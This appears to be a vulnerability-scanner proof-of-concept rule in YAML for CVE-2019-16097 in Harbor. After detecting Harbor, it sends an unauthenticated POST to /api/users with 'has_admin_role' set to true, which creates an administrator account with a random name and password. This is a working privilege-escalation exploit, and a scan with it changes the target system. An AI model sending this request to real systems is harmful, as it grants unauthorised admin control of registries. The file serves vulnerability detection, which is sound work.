name: poc-yaml-harbor-cve-2019-16097
set:
  r1: randomInt(5, 10)
  r2: randomLowercase(r1)
rules:
  - method: GET
    path: /
    expression: response.body.bcontains(b"Harbor")
  - method: POST
    path: /api/users
    headers:
      Content-Type: application/json
    body: >-
      {"username": "{{r2}}", "has_admin_role": true, "password": "{{r2}}",
      "email": "{{r2}}@example.com", "realname": "{{r2}}"}
    follow_redirects: false
    expression: |
      response.status == 201
detail:
  author: scanf & Soveless(https://github.com/Soveless) & cc_ci(https://github.com/cc8ci)
  links:
    - https://unit42.paloaltonetworks.com/critical-vulnerability-in-harbor-enables-privilege-escalation-from-zero-to-admin-cve-2019-16097/
    - https://github.com/goharbor/harbor/issues/8951
    - https://www.freebuf.com/vuls/214767.html